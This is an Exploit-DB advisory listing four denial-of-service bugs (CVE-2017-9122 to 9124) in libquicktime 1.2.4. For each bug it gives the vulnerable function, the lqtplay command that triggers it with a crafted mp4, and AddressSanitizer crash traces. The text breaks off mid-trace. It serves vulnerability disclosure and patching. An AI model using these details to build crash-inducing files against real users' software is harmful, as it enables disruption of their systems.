Exploit-DB #42148
Description: libquicktime 1.2.4 - Denial of Service
Type: dos
Platform: linux
Date: 2017-06-09
Author: qflb.wu

Exploit:
libquicktime multiple vulnerabilities


================
Author : qflb.wu
===============


Introduction:
=============
The libquicktime package contains the libquicktime library, various plugins and codecs, along with graphical and command line utilities used for encoding and decoding QuickTime files. This is useful for reading and writing files in the QuickTime format. The goal of the project is to enhance, while providing compatibility with the Quicktime 4 Linux library.


Affected version:
=====
1.2.4


Vulnerability Description:
==========================
##################################
1.
the quicktime_read_moov function in moov.c in libquicktime 1.2.4 can cause a denial of service(infinite loop and CPU consumption) via a crafted mp4 file.


./lqtplay libquicktime_1.2.4_quicktime_read_moov_infinite_loop.mp4


POC:
libquicktime_1.2.4_quicktime_read_moov_infinite_loop.mp4
CVE:
CVE-2017-9122


###################################
2.
the lqt_frame_duration function in lqt_quicktime.c in libquicktime 1.2.4 can cause a denial of service(invalid memory read and application crash) via a crafted mp4 file.


./lqtplay libquicktime_1.2.4_lqt_frame_duration_invalid_memory_read.mp4


ASAN:SIGSEGV
=================================================================
==14254==ERROR: AddressSanitizer: SEGV on unknown address 0x[PII_REDACTED]04 (pc 0x7f31e6ae7185 sp 0x7ffed033a270 bp 0x0000006bdb50 T0)
==14254==WARNING: Trying to symbolize code, but external symbolizer is not initialized!
   #0 0x7f31e6ae7184 (/usr/local/lib/libquicktime.so.0+0x6c184)
   #1 0x49b1c6 (/home/a/Downloads/libquicktime-1.2.4/utils/.libs/lqtplay+0x49b1c6)
   #2 0x47fbaa (/home/a/Downloads/libquicktime-1.2.4/utils/.libs/lqtplay+0x47fbaa)
   #3 0x7f31e43b2ec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4)
   #4 0x47f3dc (/home/a/Downloads/libquicktime-1.2.4/utils/.libs/lqtplay+0x47f3dc)


AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ??:0 ??
==14254==ABORTING


debug info:
Program received signal SIGSEGV, Segmentation fault.
...
Stopped reason: SIGSEGV
0x00007ffff7829185 in lqt_frame_duration (file=<optimized out>, track=<optimized out>, 
   constant=<optimized out>) at lqt_quicktime.c:1242
1242  return


POC:
libquicktime_1.2.4_lqt_frame_duration_invalid_memory_read.mp4
CVE:
CVE-2017-9123


###################################
3.
the quicktime_match_32 in util.c in libquicktime 1.2.4 can cause a denial of service(NULL pointer dereference and application crash) via a crafted mp4 file.


./lqtplay libquicktime_1.2.4_quicktime_match_32_NULL_pointer_dereference.mp4


ASAN:SIGSEGV
=================================================================
==14359==ERROR: AddressSanitizer: SEGV on unknown address 0x[PII_REDACTED]00 (pc 0x7fe8af6b85d8 sp 0x7fff490cd4e0 bp 0x7fff490cd5b0 T0)
==14359==WARNING: Trying to symbolize code, but external symbolizer is not initialized!
   #0 0x7fe8af6b85d7 (/usr/local/lib/libquicktime.so.0+0x3605d7)
   #1 0x7fe8af68b566 (/usr/local/lib/libquicktime.so.0+0x333566)
   #2 0x7fe8af63c71a (/usr/local/lib/libquicktime.so.0+0x2e471a)
   #3 0x7fe8af3d1658 (/usr/local/lib/libquicktime.so.0+0x79658)
   #4 0x7fe8af3d84a8 (/usr/local/lib/libquicktime.so.0+0x804a8)
   #5 0x7fe8af3a95da (/usr/local/lib/libquicktime.so.0+0x515da)
   #6 0x47fad2 (/home/a/Downloads/libquicktime-1.2.4/utils/.libs/lqtplay+0x47fad2)
   #7 0x7fe8acc8fec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4)
   #8 0x47f3dc (/home/a/Downloads/libquicktime-1.2.4/utils/.libs/lqtplay+0x47f3dc)


AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ??:0 ??
==14359==ABORTING


debug info:
Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0x00007ffff7b1d5d8 in quicktime_match_32 (_input=<optimized out>, 
   _output=<optimized out>) at util.c:874
874if(input[0] == output[0] &&


POC:
libquicktime_1.2.4_quicktime_match_32_NULL_pointer_dereference.mp4
CVE:
CVE-2017-9124


###################################
4.
the lqt_frame_duration function in lqt_quicktime.c in libquicktime 1.2.4  can cause a denial of service(heap-buffer-overflow) via a crafted mp4 file.


./lqtplay libquicktime_1.2.4_lqt_frame_duration_heap-buffer-overflow.mp4


=================================================================
==40038==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000009cd4 at pc 0x7f28959fc45f bp 0x7ffefd561530 sp 0x7ffefd561528
READ of size 4 at 0x602000009cd4 thread T0
   #0 0x7f28959fc45e in lqt_frame_duration /home/a/Downloads/libquicktime-1.2.4/src/lqt_quicktime.c:1242
   #1 0x49b1c6 in quicktime_print_info /home/a/Downloads/libquicktime-1.2.4/utils/common.c:138
   #2 0x47fbaa in qt_init /home/a/Downloads/libquicktime-1.2.4/utils/lqtplay.c:996
   #3 0x47fbaa in main /home/a/Downloads/libquicktime-1.2.4/utils/lqtplay.c:1852
   #4 0x7f28932c7ec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4)
   #5 0x47f3dc in _start (/home/a/Downloads/libquicktime-1.2.4/utils/.libs/lqtplay+0x47f3dc)


0x602000009cd4 is located 3 bytes to the right of 1-byte region [0x602000009cd0,0x602000009cd1)
allocated by thread T0 here:
   #0 0x4692f9 in malloc (/home/a/Downloads/libquicktime-1.2.4/utils/.libs/lqtplay+0x4692f9)
   #1 0x7f2895cad7d0 in quicktime_read_stts /home/a/Downloads/libquicktime-1.2.4/src/stts.c:115


SUMMARY: AddressSanitizer: heap-buffer-overflow /home/a/Downloads/libquicktime-1.2.4/src/lqt_quicktime.c:1242 lqt_frame_duration
Shadow bytes around the buggy address:
 0x0c047fff9340: fa fa 05 fa fa fa 05 fa fa fa 04 fa fa fa 05 fa
 0x0c047fff9350: fa fa 00 fa fa fa 05 fa fa fa 05 fa fa fa 05 fa
 0x0c047fff9360: fa fa 05 fa fa fa 00 fa fa fa 05 fa fa fa 05 fa
 0x0c047fff9370: fa fa 05 fa fa fa 00 fa fa fa 00 00 fa fa 00 01
 0x0c047fff9380: fa fa 04 fa fa fa 05 fa fa fa 00 fa fa fa 05 fa
=>0x0c047fff9390: fa fa 05 fa fa fa 00 fa fa fa[01]fa fa fa